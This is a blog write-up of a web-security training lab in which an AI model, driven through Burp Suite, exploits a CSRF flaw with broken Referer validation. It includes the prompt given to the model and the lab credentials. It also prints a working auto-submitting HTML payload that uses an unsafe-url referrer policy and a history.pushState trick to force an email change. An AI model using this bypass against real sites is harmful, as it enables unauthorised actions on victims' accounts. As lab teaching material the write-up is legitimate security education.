Post cover image
CSRF with Broken Referer Validation

July 9, 2026

CSRF with Broken Referer Validation — Testing with Sonnet 4.6 (Medium Effort)

Understanding and Exploiting Referer-Based Defense Bypasses.

By Bash Overflow

3 min read

🔓 Free Link

Table of Contents

  1. Summary of the Vulnerability
  2. Proof of Concept (PoC)
  3. Impact

Summary of the Vulnerability

This lab demonstrates a Cross-Site Request Forgery (CSRF) vulnerability caused by an ineffective Referer-based validation mechanism. However, flaws in the validation logic allow attackers to bypass this protection and submit forged requests from an external website.

By hosting a crafted HTML page on an attacker-controlled server, an attacker can cause an authenticated victim's browser to automatically send a legitimate-looking request to the vulnerable application. Because the application's Referer validation is implemented incorrectly, the forged request is accepted and processed as if it were initiated by the victim.

Proof of Concept (PoC)

Steps to Reproduce

  • Open the lab.
  • Assume you have already configured Burp Suite MCP with Claude Desktop.
  • Provide the following prompt to Claude:
- use Burpsuite MCP
- Target = https://<your-lab-id>.web-security-academy.net/
- Exploit Server = https://<exploit-server-id>.exploit-server.net/
- Description = This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross-domain requests, but the detection mechanism can be bypassed. Use your exploit server to host an HTML page that performs a CSRF attack.
- Credentials = You can log in using the following credentials: `wiener:peter`
- Hint = You cannot register an email address that is already taken by another user. If you change your own email address while testing the exploit, make sure to use a different email address for the final exploit delivered to the victim.
- Goals = Change the viewer's email address.
  • Log in to the target application.
None
  • I monitored the Logger tab to observe the actions performed by Claude.
None
  • Claude changed the email address to test@test.com.
  • Wait a few moments while Claude generates the CSRF proof of concept (PoC).
None None
  • I then checked the Exploit Server to review the generated payload.
None
  • The generated payload looked promising. However, when I returned to the chat, the lab had not been solved automatically.
None
  • Claude continued attempting the exploit, but the lab still wasn't marked as solved. To verify the payload, I tested it manually in Firefox while logged in as wiener, and it worked successfully.
None
  • Next, I switched to Chromium (the browser built into Burp Suite), saved the generated payload, and attempted to deliver the exploit manually.
None
  • Despite this, Claude still reported that the lab had not been solved.
None
  • I noticed that Claude had updated the body of the payload to the following:
<!DOCTYPE html>
<html>
<head>
<meta name="referrer" content="unsafe-url">
</head>
<body>
<form method="POST" action="https://0a990041047f3b8380b80d1500c600c5.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="user@user-xploit.com">
</form>
<script>
history.pushState('', '', '/exploit?0a990041047f3b8380b80d1500c600c5.web-security-academy.net');
document.forms[0].submit();
</script>
</body>
</html>
None
  • I delivered the updated payload manually and checked the Access Log on the Exploit Server.
10.0.4.59 2026-07-09 05:25:12 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
None
  • Shortly afterward, the victim accessed the exploit, and the email address was successfully updated.
  • The lab was finally marked as solved.
None

Impact

In production environments, broken Referer validation can allow attackers to perform unauthorized actions on behalf of authenticated users simply by convincing them to visit a malicious webpage. Since the victim's browser automatically includes valid session cookies, the application may treat the forged request as legitimate if the Referer check is bypassed.

📢 Enjoyed this post? Stay connected! If you found this article helpful or insightful, consider following me for more:

🙏Your support is appreciated.

Latest Cybersecurity News, Vulnerabilities, and Technical Analysis Stay updated with the latest cybersecurity news, discover vulnerabilities, and explore technical analysis in our lab…